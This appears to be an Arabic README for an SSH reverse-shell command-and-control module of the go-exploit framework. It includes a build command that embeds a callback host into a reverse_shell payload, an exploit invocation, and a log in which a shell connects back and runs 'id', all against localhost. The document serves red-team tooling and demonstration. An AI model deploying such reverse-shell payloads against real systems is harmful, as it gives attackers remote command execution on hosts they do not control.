External C2: SSH

وحدة External C2 لـ go-exploit تدعم أصداف SSH العكسية. كما أنها تعمل كعرض توضيحي لكيفية دمج ملفات تعريف External C2 في الحمولات المفضلة لديك. الهدف ليس توفير حمولة مسلحة بالكامل مع تقنيات التهرب والتقنيات المتقدمة، بل إظهار كيفية إنشاء قنوات للحمولات التي يمكنها تنفيذ وحدات تهرب أقوى والاندماج بسهولة في go-exploit.

البنية

• حزمة c2ssh الأساسية التي تنفذ الواجهات والهياكل لإعداد خادم لالتقاط حمولات SSH
• ./payload يحتوي على التنفيذ للحمولات التي سيستخدمها الاستغلال، وهو وظيفياً عميل SSH وغلاف رقيق حول exec بناءً على استجابة الخادم
• ./example يحتوي على اختبار استغلال ذاتي ينفذ حمولة مثال مُجمَّعة

مثال على الاستخدام

1. قم بتجميع الحمولة لاستخدامها في الاستغلال لجعلها متاحة للاستغلال، وهذا حالياً مفصول عن الإطار لأنك لا تستخدم دائماً حمولات Go :)
2. نفّذ الاستغلال

go build -ldflags "-s -w -X main.Rshost=127.0.0.1 -X main.Rsport=2223" -o reverse_shell

poptart@grimm $ go run example/exploit.go -lhost 127.0.0.1 -lport 2222 -rhost 127.0.0.1 -rport 1337 -e -fll DEBUG -ell DEBUG -t 0
time=2024-08-06T12:09:02.762-06:00 level=DEBUG msg="Using the HTTP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
time=2024-08-06T12:09:02.763-06:00 level=STATUS msg="Starting target" index=0 host=127.0.0.1 port=1337 ssl=false "ssl auto"=false
time=2024-08-06T12:09:02.763-06:00 level=DEBUG msg="External SSH Listener starting: 127.0.0.1:2222"
time=2024-08-06T12:09:02.766-06:00 level=DEBUG msg="SSH: Handshaking for 127.0.0.1:38878"
time=2024-08-06T12:09:02.768-06:00 level=STATUS msg="Active shell SSH: Connection accepted from [email protected]:38878 session: 451e905e22ffbc7ab6235ad73379eeea2c65ba532405d81a431e1c5159ba1179 (SSH-2.0-OpenSSH_9.7)"
id
time=2024-08-06T12:09:04.725-06:00 level=STATUS msg="Running command on SSH client: 'id'"
time=2024-08-06T12:09:08.812-06:00 level=SUCCESS msg="uid=1000(poptart) gid=100(users) groups=100(users),1(wheel),67(libvirtd)\n"